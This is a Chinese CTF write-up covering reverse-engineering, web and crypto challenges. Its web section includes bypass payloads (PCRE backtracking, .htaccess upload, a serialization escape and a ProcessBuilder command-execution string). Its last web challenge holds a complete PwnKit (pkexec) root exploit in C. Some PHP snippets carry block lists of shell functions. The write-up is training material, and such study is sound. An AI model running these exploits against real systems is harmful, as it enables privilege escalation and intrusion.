第五题:东北话是最好的语言
这个是给了一个look.txt文件
这里开始是逆向的题目
我们base64解码之后可以获得一个图片
然后我们用010editor打开后看到base64:xxxx
然后我们将结果转化成纯字符,最后套上md5即可
flag{4d5193eaeb2b18aa7e4357078b7550f3}
re
第一题:test
这个题目是安卓逆向,安卓逆向和java逆向还是有很大的不同的
这里是第一个活动,是一个密码,这个其实不用管
package com.example.test.ctf02;
/* loaded from: classes.dex */
public class Check {
public boolean checkPassword(String str) {
char[] pass = str.toCharArray();
if (pass.length != 12) {
return false;
}
for (int len = 0; len < pass.length; len++) {
pass[len] = (char) (((255 - len) - 100) - pass[len]);
if (pass[len] != '0' || len >= 12) {
return false;
}
}
return true;
}
}这里是第二个活动,将图片改成压缩包了
package com.example.test.ctf02;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.widget.ImageView;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
public class NextContent extends AppCompatActivity {
ImageView imageView;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_next_content);
init();
Change();
}
public void init() {
this.imageView = (ImageView) findViewById(R.id.imageview);
}
public void Change() {
// 获取应用数据库路径下的img.jpg文件
String strFile = getApplicationContext().getDatabasePath("img.jpg").getAbsolutePath();
System.out.println("目标文件路径: " + strFile);
try {
File f = new File(strFile);
if (f.exists()) {
f.delete();
System.out.println("已删除存在的文件");
}
} catch (Exception e) {
System.out.println("删除文件时出错: " + e.getMessage());
e.printStackTrace();
}
try {
// 从assets目录打开timg_2.zip文件
InputStream is = getApplicationContext().getResources().getAssets().open("timg_2.zip");
System.out.println("成功打开assets中的timg_2.zip");
// 创建文件输出流,将zip内容写入到数据库路径的img.jpg文件
FileOutputStream fos = new FileOutputStream(strFile);
byte[] buffer = new byte[1024];
int totalBytes = 0;
while (true) {
int count = is.read(buffer);
if (count <= 0) {
break;
}
fos.write(buffer, 0, count);
totalBytes += count;
}
System.out.println("已写入 " + totalBytes + " 字节");
fos.flush();
fos.close();
is.close();
System.out.println("文件复制完成");
} catch (Exception e2) {
System.out.println("文件操作时出错: " + e2.getMessage());
e2.printStackTrace();
}
// 将写入的文件作为图片显示在ImageView中
this.imageView.setImageBitmap(BitmapFactory.decodeFile(strFile));
System.out.println("图片已显示在ImageView中");
}
}然后我们将解压后的打开会发现有个安装包,然后改成图片打开会有一个flag
第二题:高卢战记
这个题目给了一个没见过的obj后缀,这个的话拖进ida是仍然可以分析的,我们ida识别出来汇编
.text$mn:00000028 push ebp
.text$mn:00000029 mov ebp, esp
.text$mn:0000002B mov eax, 1004h
.text$mn:00000030 call __chkstk
.text$mn:00000035 mov eax, ds:___security_cookie
.text$mn:0000003A xor eax, ebp
.text$mn:0000003C mov [ebp+var_4], eax
.text$mn:0000003F push esi
.text$mn:00000040 push edi
.text$mn:00000041 mov ecx, 8
.text$mn:00000046 mov esi, offset $SG5652 ; "6f759f8f7:deg::796486<8<8edf9:73"
.text$mn:0000004B lea edi, [ebp+var_1004]
.text$mn:00000051 rep movsd
.text$mn:00000053 movsb
.text$mn:00000054 push 0FDFh
.text$mn:00000059 push 0 ; Val
.text$mn:0000005B lea eax, [ebp+var_FE3]
.text$mn:00000061 push eax ; void *
.text$mn:00000062 call _memset
.text$mn:00000067 add esp, 0Ch
.text$mn:0000006A lea ecx, [ebp+var_1004]
.text$mn:00000070 push ecx根据沪这里的特殊的字符,我们推断是有凯撒加密,因为里面出现了一组非常“刻意”的字符 —— :、<、以及 d e f g,这几类刚好都可以由 十六进制字符集(0-9a-f)整体 ASCII +3 得到。
写一个ord和chr组成的脚本就行
src='6f759f8f7:deg::796486<8<8edf9:73'
flag=''
for i in range(len(src)):
flag+=chr((ord(src[i])-3))
print("flag{"+flag+"}")第三题:逢七则变
这个我都打不开,解析的正确,和那个proxy的题目是一个情况,我们怀疑是有了加壳
工具对应的链接如下
XVolkolak 0.22 静态脱壳神器汉化版 - 吾爱破解 - 52pojie.cn
脱壳之后的效果如下
void __cdecl main(int argc, const char **argv, const char **envp)
{
signed int v3; // kr00_4
signed int i; // [esp+14h] [ebp-110h]
char akf__7fda1005c?1b253bc17346b5c77bab?0z_[256]; // [esp+20h] [ebp-104h] BYREF
strcpy(akf__7fda1005c?1b253bc17346b5c77bab?0z_, "akf`|7fda1005c?1b253bc17346b5c77bab?0z");
memset(&akf__7fda1005c?1b253bc17346b5c77bab?0z_[39], 0, 0xD9u);
v3 = strlen(akf__7fda1005c?1b253bc17346b5c77bab?0z_);
for ( i = 0; i < v3; ++i )
akf__7fda1005c?1b253bc17346b5c77bab?0z_[i] ^= 7u;
sub_401040(aYouGotIt); // "You got it!!!"
}第四题:android
apk文件,我们用jadx打开,然后分析主函数
package com.example.myapplication;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.io.FileNotFoundException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
/* loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {
private static char[] alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".toCharArray();
Button btn_reg;
EditText edit_sn;
String temp = "JNI_Onload";
public static native String Judge(String str);
static {
System.loadLibrary("native-lib");
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
this.edit_sn = (EditText) findViewById(R.id.editText1);
this.btn_reg = (Button) findViewById(R.id.button1);
initClickEvent();
}
/* JADX INFO: Access modifiers changed from: private */
public SecretKey generateKey(String str) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException {
SecretKeyFactory instance = SecretKeyFactory.getInstance("DES");
DESKeySpec dESKeySpec = new DESKeySpec(str.getBytes());
instance.generateSecret(dESKeySpec);
return instance.generateSecret(dESKeySpec);
}
static String encode(byte[] bArr) {
boolean z;
char[] cArr = new char[((bArr.length + 2) / 3) * 4];
int i = 0;
int i2 = 0;
while (i < bArr.length) {
int i3 = (bArr[i] & 255) << 8;
int i4 = i + 1;
boolean z2 = true;
if (i4 < bArr.length) {
i3 |= bArr[i4] & 255;
z = true;
} else {
z = false;
}
int i5 = i3 << 8;
int i6 = i + 2;
if (i6 < bArr.length) {
i5 |= bArr[i6] & 255;
} else {
z2 = false;
}
int i7 = i2 + 3;
char[] cArr2 = alphabet;
int i8 = 64;
cArr[i7] = cArr2[z2 ? i5 & 63 : 64];
int i9 = i5 >> 6;
int i10 = i2 + 2;
if (z) {
i8 = i9 & 63;
}
cArr[i10] = cArr2[i8];
int i11 = i9 >> 6;
cArr[i2 + 1] = cArr2[i11 & 63];
cArr[i2 + 0] = cArr2[(i11 >> 6) & 63];
i += 3;
i2 += 4;
}
return new String(cArr);
}
private void initClickEvent() {
this.btn_reg.setOnClickListener(new View.OnClickListener() { // from class: com.example.myapplication.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String obj = MainActivity.this.edit_sn.getText().toString();
try {
Cipher instance = Cipher.getInstance("DES");
try {
instance.init(1, MainActivity.this.generateKey("123!@#zaqXSWqwer"));
} catch (InvalidKeyException e) {
e.printStackTrace();
} catch (InvalidKeySpecException e2) {
e2.printStackTrace();
}
try {
byte[] doFinal = instance.doFinal("64781852".getBytes());
Log.i("eeeeeeeee", "Total:" + doFinal);
String encode = MainActivity.encode(doFinal);
Log.i("des", "Total:" + encode);
} catch (BadPaddingException e3) {
e3.printStackTrace();
} catch (IllegalBlockSizeException e4) {
e4.printStackTrace();
}
} catch (NoSuchAlgorithmException e5) {
e5.printStackTrace();
} catch (NoSuchPaddingException e6) {
e6.printStackTrace();
}
try {
MainActivity.this.openFileInput("test.txt");
} catch (FileNotFoundException e7) {
e7.printStackTrace();
}
if (obj.length() < 6) {
Toast.makeText(MainActivity.this, "flag长度不够", 0).show();
return;
}
String copyValueOf = String.copyValueOf(obj.toCharArray(), 5, obj.length() - 6);
Log.i("源", "Total:" + copyValueOf);
String Judge = MainActivity.Judge(obj);
Log.i("后", "Total:" + Judge);
if (Judge.equals("success")) {
Toast.makeText(MainActivity.this, "flag正确", 0).show();
} else {
Toast.makeText(MainActivity.this, "flag错误", 0).show();
}
}
});
}
}我们看到这里的有一部分加密是调用了so,我们需要分析so库的judge函数
这里需要注意一点,DES加密部分 "64781852" 和密钥 "123!@#zaqXSWqwer" 与实际的验证流程完全无关,只是独立的日志记录代码的加密
String Judge = MainActivity.Judge(obj);我们打开so文件
从下面这个图我们可以确定judge函数是sub_7D0函数
jint JNI_OnLoad(JavaVM *vm, void *reserved)
{
jint n65540; // w19
__int64 v3; // x0
__int64 v5; // [xsp+8h] [xbp-38h] BYREF
__int128 v6; // [xsp+10h] [xbp-30h] BYREF
__int64 (__fastcall *p_sub_7D0)(); // [xsp+20h] [xbp-20h]
__int64 v8; // [xsp+28h] [xbp-18h]
v8 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40);
v5 = 0;
n65540 = 65540;
if ( (*vm)->GetEnv(vm, (void **)&v5, 65540) )
return -1;
v6 = *(_OWORD *)off_1DB0; // "Judge"
p_sub_7D0 = sub_7D0;
v3 = (*(__int64 (__fastcall **)(__int64, const char *))(*(_QWORD *)v5 + 48LL))(
v5,
"com/example/myapplication/MainActivity");
if ( !v3 )
return -1;
(*(void (__fastcall **)(__int64, __int64, __int128 *, __int64))(*(_QWORD *)v5 + 1720LL))(v5, v3, &v6, 1);
return n65540;
}加密的算法如下,这里aes加密
__int64 __fastcall sub_7D0(__int64 *a1, __int64 a2, __int64 a3)
{
__int64 v4; // x0
__int64 v5; // x23
__int64 v6; // x8
_OWORD *v7; // x1
_OWORD v9[3]; // [xsp+0h] [xbp-140h] BYREF
__int16 v10; // [xsp+30h] [xbp-110h]
_OWORD v11[3]; // [xsp+40h] [xbp-100h] BYREF
__int16 v12; // [xsp+70h] [xbp-D0h]
_OWORD v13[3]; // [xsp+80h] [xbp-C0h] BYREF
__int16 v14; // [xsp+B0h] [xbp-90h]
_OWORD v15[3]; // [xsp+C0h] [xbp-80h] BYREF
__int16 v16; // [xsp+F0h] [xbp-50h]
__int64 v17; // [xsp+F8h] [xbp-48h]
v17 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40);
v4 = (*(__int64 (__fastcall **)(__int64 *, __int64, _QWORD))(*a1 + 1352))(a1, a3, 0);
memset(v15, 0, sizeof(v15));
memset(v11, 0, sizeof(v11));
v13[0] = *(_OWORD *)"success";
memset(&v13[1], 0, 32);
v14 = 0;
qmemcpy(v11, "false", 5);
v9[0] = xmmword_9DE;
v9[1] = xmmword_9EE;
v16 = 0;
v12 = 0;
v9[2] = xmmword_9FE;
v10 = 0;
__strcpy_chk(v15, v4, 50);
if ( __strlen_chk((const char *)v9, 0x32u) )
{
v5 = 0;
while ( *((unsigned __int8 *)v9 + v5) == (unsigned __int8)(byte_A10[*((unsigned __int8 *)v15 + v5)]
- (5 * ((unsigned int)v5 / 5) + 4 == (_DWORD)v5)) )
{
if ( __strlen_chk((const char *)v9, 0x32u) <= ++v5 )
goto LABEL_5;
}
v6 = *a1;
v7 = v11;
}
else
{
LABEL_5:
v6 = *a1;
v7 = v13;
}
return (*(__int64 (__fastcall **)(__int64 *, _OWORD *))(v6 + 1336))(a1, v7);
}这个是用AES S-Box加密的算法,解密的脚本如下
def decrypt_with_sbox():
"""
使用AES S-Box进行逆向解密
"""
# AES S-Box
sbox = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,
0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,
0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,
0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,
0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,
0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,
0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,
0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,
0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,
0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,
0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,
0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,
0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,
0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,
0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,
0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,
0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
]
# 加密数据
a3p = [0x33,0x50,0xef,0x85,0x20,0xd6,0x9d,0x8f,0x92,0xce,0x5a,0xf9,0x40,0x8f,0x91,0xcf,0x20,0x40,0xb6,0xfe]
print("=== AES S-Box逆向解密 ===")
print(f"S-Box长度: {len(sbox)}")
print(f"加密数据: {a3p}")
print(f"加密数据(十六进制): {[hex(b) for b in a3p]}")
print()
# 预处理:根据条件调整a3p
processed_a3p = a3p[:] # 创建副本
print("预处理阶段:")
for i in range(len(processed_a3p)):
# 检查条件:5 * (i / 5) + 4 == i
if 5 * (i // 5) + 4 == i:
processed_a3p[i] = processed_a3p[i] + 1
print(f" 位置 {i}: {hex(a3p[i])} -> {hex(processed_a3p[i])} (加1)")
else:
print(f" 位置 {i}: {hex(a3p[i])} -> {hex(processed_a3p[i])} (无变化)")
print()
# 通过S-Box查找原始值
result = []
print("S-Box逆向查找:")
for i in range(len(processed_a3p)):
target_value = processed_a3p[i]
found_index = -1
# 在S-Box中查找目标值
for j in range(256):
if sbox[j] == target_value:
found_index = j
break
if found_index != -1:
result.append(found_index)
print(f" 位置 {i}: {hex(target_value)} <- S-Box[{found_index}] = {hex(found_index)} ('{chr(found_index) if 32 <= found_index <= 126 else '.'}')")
else:
result.append(0) # 未找到,使用默认值
print(f" 位置 {i}: {hex(target_value)} <- 未在S-Box中找到对应值")
print()
# 转换为字符串
result_str = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in result])
print(f"解密结果: {result_str}")
print(f"解密字节数组: {result}")
print(f"解密字节数组(十六进制): {[hex(b) for b in result]}")
return result_str
def explain_previous_mistake():
"""
解释之前的错误
"""
print("="*60)
print("关于之前回答的说明:")
print("="*60)
print("""
我之前的回答确实存在问题,原因如下:
1. 混淆了两个不同的加密算法:
- 第一个分析的是Android应用的简单字符串变换算法
- 第二个才是真正的AES S-Box解密算法
2. 错误地将两个问题混合在一起分析,导致逻辑混乱
3. 没有仔细分析新提供的C代码的真正逻辑
正确的做法应该是:
- 识别这是一个AES S-Box逆向解密问题
- 首先根据条件修正加密数据
- 然后通过S-Box查找对应的原始值
- 最终得到明文结果
感谢您提供了正确的C代码,现在我们可以准确地将其转换为Python实现。
""")
if __name__ == "__main__":
explain_previous_mistake()
print()
flag = decrypt_with_sbox()
print(f"\n🎯 最终解密结果: {flag}")第五题:动态库
这个题目考的是反调试的相关知识
这个是给了一个dll的动态链接库,其中有个函数名是GetFlag
public GetFlag
GetFlag proc near
push offset unk_100166BC
call sub_10001010
pop ecx
retn
GetFlag endp我们写个idapython提取一下unk_100166BC这个地址,idapython如下
import ida_bytes
def dump_bytes_and_words(ea, size=None, stop_on_0000=True, include_term=True):
data = bytearray()
if size is not None:
data = bytearray(ida_bytes.get_bytes(ea, size) or b"")
else:
# 没给 size 就读到 00 00
i = 0
while True:
b = ida_bytes.get_byte(ea + i)
data.append(b)
i += 1
if stop_on_0000 and len(data) >= 2 and data[-2] == 0 and data[-1] == 0:
if not include_term:
data = data[:-2]
break
if i > 0x4000:
break
bs = bytes(data)
print(f"[+] EA={ea:#x} len={len(bs)}")
print("\n[bytes hex]")
print(" ".join(f"{b:02X}" for b in bs))
# word lists
def words(endian):
n = (len(bs) // 2) * 2
return [int.from_bytes(bs[i:i+2], endian) for i in range(0, n, 2)]
wl = words("little")
wb = words("big")
print("\n[u16 little-endian]")
print(", ".join(f"0x{w:04X}" for w in wl))
print("\n[u16 big-endian]")
print(", ".join(f"0x{w:04X}" for w in wb))
# 用法:明确 48 字节(包含末尾 00 00)
dump_bytes_and_words(0x100166BC, size=48)
# 或:读到 00 00 并包含/不包含终止符
# dump_bytes_and_words(0x100166BC, size=None, stop_on_0000=True, include_term=True)
# dump_bytes_and_words(0x100166BC, size=None, stop_on_0000=True, include_term=False)提取之后的结果如下
[bytes hex]
38 34 36 34 B1 BB 39 61 63 38 C4 E3 63 61 32 35 B7 A2 36 35 31 31 CF D6 61 35 32 66 C1 CB 63 39 33 35 B9 FE 39 66 61 33 B9 FE 36 37 61 31 00 00
[u16 little-endian]
0x3438, 0x3436, 0xBBB1, 0x6139, 0x3863, 0xE3C4, 0x6163, 0x3532, 0xA2B7, 0x3536, 0x3131, 0xD6CF, 0x3561, 0x6632, 0xCBC1, 0x3963, 0x3533, 0xFEB9, 0x6639, 0x3361, 0xFEB9, 0x3736, 0x3161, 0x0000
[u16 big-endian]
0x3834, 0x3634, 0xB1BB, 0x3961, 0x6338, 0xC4E3, 0x6361, 0x3235, 0xB7A2, 0x3635, 0x3131, 0xCFD6, 0x6135, 0x3266, 0xC1CB, 0x6339, 0x3335, 0xB9FE, 0x3966, 0x6133, 0xB9FE, 0x3637, 0x6131, 0x0000然后我们将这个结果打印一下即可获取到最后的flag
然后我们将这里的可打印的拼组起来就是flag的形式
flag{84649ac8ca256511a52fc9359fa367a1}
第七题:最短路
这段就是个“手动走图计权重”的题:Path[u][v] 里存了边权,你每次输入一对 (a, b) 就把这条边的权重加到 sum,直到你输入的 b == 15 为止(最后那条到 15 的边在循环外再加一次)。
Judge() 里要求 sum == 26 才算对,并提示 Shortest path。
把给定的边列一下(有向边):
- 1→2=2,1→3=3
- 2→3=5,2→4=3,2→10=20
- 3→5=6,3→8=5
- 4→5=7
- 5→8=1,5→9=4
- 8→11=5,8→15=21
- 9→12=5
- 12→15=9
- 11→15=13
- 7→14=6,14→15=7(6→7=3)
这里的凑值我们直接交给ai分析
要凑到 26,最明显的一条(而且正好是最短路)是:
1 → 3 → 8 → 11 → 15
权重:3 + 5 + 5 + 13 = 26
所以你在程序里依次输入这几行就行:
1 3
3 8
8 11
11 151381115
第八题:Cre
这个题目对文件类型进行了魔改,导致我们的ida不能正常的的分析,我们需要给他改回去
之后就能看到主函数
__int64 __fastcall main()
{
int ans; // [rsp+24h] [rbp-Ch] BYREF
int j; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]
_main();
j = 0;
ans = 0;
for ( i = 0; i <= 7; ++i )
{
for ( j = 0; j <= 7; ++j )
printf("%d ", dp[i][j]);
printf("\n");
}
scanf("%d", &ans);
if ( ans == 1 )
printf(
"From the top left corner to the bottom right corner, you cannot turn back and find the route with the most coins. "
"The total number of coins plus MD5 is the flag");
return 0;
}我们还原出的dp如下
[0, 1, 0, 0, 2, 0, 0, 20]
[0, 1, 1, 5, 5, 0, 0, 0 ]
[1, 0, 1, 0, 0, 0, 2, 10]
[0, 0, 1, 0, 10,0, 0, 0 ]
[2, 0, 0, 4, 0, 0, 0, 20]
[0, 0, 15,0, 1, 0, 0, 0 ]
[0, 0, 1, 0, 25,0, 6, 0 ]
[4, 0, 0, 5, 0, 6, 0, 20]用 0-based 坐标 (行,列) 表示:
(0,0)→(0,1)→(1,1)→(1,2)→(1,3)→(1,4)→(2,4)→(3,4)→(4,4)→(5,4)→(6,4)→(6,5)→(6,6)→(6,7)→(7,7)对应移动串(R=右,D=下):
R D R R R D D D D D R R R D
这里最大的金币是75,然后我们md5加密之后即可获得flag
web
第一题:swp
我们用我们存在g盘的扫描一下网站的目录发现了一个index.php文件
我们访问.index.php.swp之后可以看到网站源码
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
if(!jiuzhe($xdmtql)){
if(strpos($xdmtql,'sys nb')!==false){
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}这里需要参数又匹配/sys.*nb/is,又要求这个参数含有sys nb,还不能是数组
这里我们传递足够长的数据失效,我们使用PCRE回溯次数限制绕过
import requests
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post('http://c0f4875d-9802-490b-b2ce-f608f639a293.www.polarctf.com:8090',
data=data, allow_redirects=False) # 此处需要输入自己对应的url
print(res.content)
# pre_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到
# allow_redirects=False 表示禁止自动处理重定向。如果服务器返回重定向响应(如 302),requests 不会自动跟随重定向。flag{4560b3bfea9683b050c730cd72b3a099}
第二题:简单rce
打开时候看到php源码
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?> nonono第三题:上传
这里我们不能直接上传php文件,我们需要先尝试上传.htaccess
HTTP/1.1 304 Not Modified
Date: Wed, 14 Jan 2026 02:45:09 GMT
Etag: "155-5f6d8dd8e1b80"
Server: Apache/2.4.23 (Unix)
Connection: close这里我们上传还是不行,我们.htaccess和base64编码的木马,之后我们可以获取flag
也可以用其他的方法,传一个
php_value auto_append_file .htaccess
#
第四题:php是世界上最好的语言
题目直接给源码
<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");
}
}
}
?>题目提示flag在$flag这个变量中
两处变量覆盖,$POST的值要在第一处就覆盖好
最后传参的时候用504[SYS.COM
第五题:非常好绕的命令执行
也是直接给了php源码
<?php
# -*- coding: utf-8 -*-
# @Author: ShawRoot
# @Date: 2022-07-21 08:42:23
# @link: https://shawroot.cc
highlight_file(__FILE__);
$args1 = $_GET['args1'];
$args2 = $_GET['args2'];
$args3 = $_GET['args3'];
$evil = $args1.'('.$args2.')('.$args3.')'.';';
$blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))
{
echo "<br>".$evil."<br>";
eval($evil);
}
?>
()();if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil)) 这一行是一个条件判断语句,检查拼接的恶意代码是否通过了黑名单检查,且不是纯空格字符,且是可打印的字符。
第六题:这又是一个上传
这个重复写了
第七题:网站被黑
有个base编码,解码后/n0_0ne_f1nd_m3/
之后我们获得php源码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>第八题:ezjava
我们最后一个练手看看java
题目给了一个提示
flag在/app/flag.txt我们用jadx打开一下附件分析
sqel注入
最后我们需要构造payload如下
new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start()然后我们编码一下
第九题:veryphp
题目直接给了我们源码
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
Input correct parameters这个题目我们先获得提示看看,通过提示我们可以写个脚本
爆破出来之后是21475 ,然后我们可以成功过去flag的数值,至此成功获得flag
第十题:Unserialize_Escape
仍然是直接给了php代码
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function filter($string){
return preg_replace('/x/', 'yy', $string);
}
$username = $_POST['username'];
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}字符串逃逸
传上这个payload
username=Z3r4yxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}
然后就有flag
第十一题:这又是一个上传
我们看页面源代码,发现是把检测程序的上传的安全机制写在前端js里面了
我们找到调试程序这里关闭js调试
关闭之后我们就能成功的上传了,然后我们链接上shell,发现有个这个
/opt/polkit-0.105/src/programs/.libs/pkexec这是一个允许授权用户以其他用户(通常是 root)身份执行命令的程序。系统
自带的 pkexec 通常在 /usr/bin/ 下。这里它出现在 /opt 下的源码编译目
录中,说明这是出题人特意为我们准备的利用点。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// 注入的 Payload
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"#include <sys/stat.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" chmod(\"/flag\", 0777);\n"
"}\n";
int main(int argc, char *argv[]) {
FILE *fp;
// 1. 搭建利用环境
system("mkdir -p pwnkit");
system("echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
// 2. 生成 Payload 源码
fp = fopen("pwnkit.c", "w");
if (!fp) {
perror("fopen pwnkit.c");
exit(1);
}
fprintf(fp, "%s", shell);
fclose(fp);
// 3. 编译成共享库
system("gcc pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
// 4. 准备环境变量(注意:GCONV_PATH 应指向当前目录)
char *env[] = {
"GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=pwnkit",
NULL
};
// 5. 触发漏洞(execve 的 argv[0] 可设为任意值,但通常传入程序名)
execve("/opt/polkit-0.105/src/programs/.libs/pkexec",
(char *[]){"/opt/polkit-0.105/src/programs/.libs/pkexec", NULL},
env);
// 如果 execve 返回,说明失败
perror("execve failed");
return 1;
}用上面这个和文件,然后编译之后运行就能完成提权。
crypto
我们还差最后30积分,我们用密码来凑
第一题:babyrsa
这个扔进去可以直接锁掉
第二题:easyrsa
ai直接就能出
第三题:classic
这个题目题目给的很少
只给了下面这个内容
FGAFDAXAGXDGDXAXAGDDAFDAAFFGFDAFGX
第四题:分段解密
crypto的内容如下
[[3202805436L, 509716930L], [3140667873L, 1667141091L], [3173275598L, 2248305098L], [709283154L, 3416762332L]]
加密脚本如下
import sys
def abc(First):
First = c_uint32(First)
return First
def enflag(i, j):
a = 32
tt = 0x9e3779b9
b = [0,0]
First = abc(i[0])
Second = abc(i[1])
add = abc(0)
add=add.value
while(a>0):
add += tt
First.value += ( Second.value << 4 ) + j[0] ^ Second.value + add ^ ( Second.value >> 5 ) + j[1]
Second.value += ( First.value << 4 ) + j[2] ^ First.value + add ^ ( First.value >> 5 ) + j[3]
a = a - 1
b[0] = First.value
